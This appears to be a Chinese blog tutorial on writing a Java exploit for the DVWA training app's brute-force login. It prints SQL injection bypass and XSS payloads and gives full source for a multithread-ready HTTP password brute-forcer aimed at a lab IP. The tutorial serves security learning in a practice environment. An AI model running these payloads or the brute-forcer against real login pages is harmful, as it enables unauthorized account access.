Web漏洞Exploit编写——Java篇(一)

Web漏洞常常是一些严重后果的导火索, 如果网站存在WEB漏洞并被攻击者利用,攻击者可以轻易控制整个网站,并可进一步提权获取网站服务器权限,控制整个服务器,甚至绕过层层障碍,直逼内网。

0X01 前言


网络上关于Python的编写教程并不少见,却很少有人提及Java。使用Java的信息安全爱好者和从业者也不多见。Java作为一门强类型、编译型、跨平台的OOP语言,能写出比Python更为稳定的程序,比较适合编写模块化的工具集合框架。Kali上的BurpSuite、OWASP-ZAP、Armitage、Cobalt Strike等工具,都是由Java编写而成。可见,Java也是一款适合编写工具的优秀语言。

本系列文章将围绕DVWA提供的三个等级的各种漏洞来讲解如何编写自动化攻击代码。

0X02 Brute Force漏洞代码分析

先看一下low级的源代码

此处代码虽说是为练习暴力破解而设计的,但是却出现了三处较为严重的漏洞。其中一处可利用的XSS漏洞,网上的教程几乎没有提及。

A处:直接将用户可控的user参数和pass参数带入SQL查询语句,存在SQL注入漏洞,也绕过密码验证。

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 

可用payload为:

admin' and '1' = '1'#
SQL注入绕过密码验证

B处:此处为漏洞引发的关键代码。此处语句简单判断sql查询语句结果与行数,没有验证过多信息,既没有添加验证码等阻碍措施,也没有限制登录的次数和来源。

if( $result && mysqli_num_rows( $result ) == 1 ) { 
......
}
Burp Suite 爆破成功截图

C处:此处暗藏了一个非常规方式可利用的XSS漏洞。当登陆成功时,用户可控的user变量会被输出并显示到前端。但此处漏洞的利用条件不同寻常,但我还是找到了两种方法来利用它。

echo "Welcome to the password protected area {$user}"; 

1.如果此漏洞存在于开放注册的网站上

我们可以提前注册好一个账户(这里使用admin),使用以下payload执行XSS代码:

admin' and '1' = '1'#<script>alert(/xss/)</script>
已知账户的XSS

2.如果此漏洞存在于私有站点上

如果站点开启了SQL语句报错 ,而不知道用户名可以使用以下payload:

'' or '1' = '1'#<script>alert(/xss/)</script>
SQL报错触发的XSS

0X03 编写Exploit

与Web服务器沟通的第一步就是遵循HTTP协议,考虑到第三方库的大小和运行速度问题,我使用Socket手动编入HTTP请求内容。

1.使用Burp Suite抓包

浏览器设置代理,打开Burp Suite,抓包复制

Burp Suite抓到的HTTP请求原文

2.使用Socket向服务器建立连接

建立Socket并获取输入输出流

3.发送HTTP请求原文,获取响应长度

这里我把发送请求获取响应的代码封装到了一个函数,关键代码如下:

发送HTTP请求

调用函数,获取响应长度:

4.完善细节

优秀的爆破程序一定会添加多线程支持,可用如下代码:

ExecutorService es = Executors.newFixedThreadPool(30);//新建线程数为30的线程池
es.submit(new ThreadDemo());//向线程池加入线程

以下是单线程的爆破密码:

主程序入口

//Main.java
public class Main {
    public static void main(String[] args) {
        HTTPBruter hb = new HTTPBruter();
        hb.setDic("E:\\1.txt");
        hb.setRequest("GET /dvwa/vulnerabilities/brute/?username=admin&password=$$password$$&Login=Login HTTP/1.1\n" +
                "Host: 192.168.190.142\n" +
                "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0\n" +
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" +
                "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n" +
                "Accept-Encoding: gzip, deflate\n" +
                "Referer: http://192.168.190.142/dvwa/vulnerabilities/brute/?username=admin%27+and+%271%27+%3D+%271%27%23%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&password=password&Login=Login\n" +
                "Connection: close\n" +
                "Cookie: security=low; PHPSESSID=459887a6edc780301b80eff6549f1c07\n" +
                "Upgrade-Insecure-Requests: 1","$$password$$");
        hb.brute();
    }
}

HTTP工具类,封装HTTP通信的方法

import java.io.*;
import java.net.Socket;

public class HTTPUtil {
private String getReq = "";
private String postReq = "";
private String host = "";
private String port = "80";

//从请求中解析host和默认端口号
public void praseHost(String arg) {
if (arg.indexOf(":") == arg.lastIndexOf(":")) {
host = arg.toLowerCase().replace("host:", "")
.trim();
} else {
host = arg.toLowerCase().replace("host:", "")
.trim().split(":")[0];
port = arg.toLowerCase().replace("host:", "")
.trim().split(":")[1];
}
}

public void setRequest(String req) {
if (req.toLowerCase().startsWith("get")) {
setGetRequest(req);
} else {
setPostRequest(req);
}
}


//设置GET请求原文
public void setGetRequest(String req) {
String[] args = req.split("\n");
getReq = "";//置空先前的请求内容
for(String arg: args) {
getReq += arg + "\r\n";
if (arg.startsWith("Host")) {
//System.out.println(arg);
praseHost(arg);
}
}
getReq += "\r\n";
//System.out.println(getReq.replace("\r","\\r").replace("\n","\\n"));
}

//设置POST请求原文
public void setPostRequest(String req) {
String postFlag = "$POST_CRLF$";
req = req.replace("\n\n",postFlag);
String[] args = req.split("\n");
postReq = "";//置空先前的请求内容
for(String arg: args) {
postReq += arg + "\r\n";
if (arg.toLowerCase().startsWith("host")) {
//System.out.println(arg);
praseHost(arg);
}
}
postReq = postReq.replace(postFlag,"\r\n\r\n");
postReq += "\r\n";
//System.out.println(postReq.replace("\r","\\r").replace("\n","\\n"));
}

//发送请求并打印结果
public String sendAndPrint() {
String res = "";
try {
Socket s = new Socket(host,Integer.valueOf(port));
//System.out.println("[*] Connected.");
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(s.getOutputStream()));
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
//System.out.println("[*] Sending....");
if (getReq.isEmpty()) {
bw.write(postReq);
} else {
//System.out.println(getReq);
bw.write(getReq);
//System.out.println(getReq);
}
bw.flush();
//System.out.println("[*] Receiving...");
String line = null;
while ((line = br.readLine()) != null) {
//System.out.println(line);
res += line + "\n";
}
bw.close();
br.close();
System.out.println("[+] Done.");
} catch (IOException e) {
e.printStackTrace();
}

return res;
}
}

爆破类,逻辑功能的主要实现

import java.io.BufferedReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.NoSuchFileException;
import java.nio.file.Path;
import java.nio.file.Paths;

public class HTTPBruter {
    Path dic = null;
    BufferedReader br = null;
    private String request = "";
    private String position = "";

    public void setDic(String path) {
        try {
            dic = Paths.get(path);
            br = Files.newBufferedReader(dic);
        } catch (NoSuchFileException nse) {
            System.out.println("[-] The wordlist does not exist!");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void setRequest(String req,String position) {
        this.request = req;
        this.position = position;
    }

    public void brute() {
        String payload = null;
        HTTPUtil hu = new HTTPUtil();
        try {
            while ((payload = br.readLine()) != null) {
                hu.setRequest(request.replace(position,payload));
                System.out.println("[*] Payload: " + payload + " Length: " + hu.sendAndPrint().length());
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

其他的一些小细节,我在代码中进行了注释

最终程序的运行结果如下,根据HTTP响应的长度,可以一眼分辨出正确密码

0X04 后记

此篇文章介绍了如何使用Java编写针对low级的爆破工具,可以根据需要来添加细节,完善小功能。后续文章将会随着难度等级的提高而逐渐深入。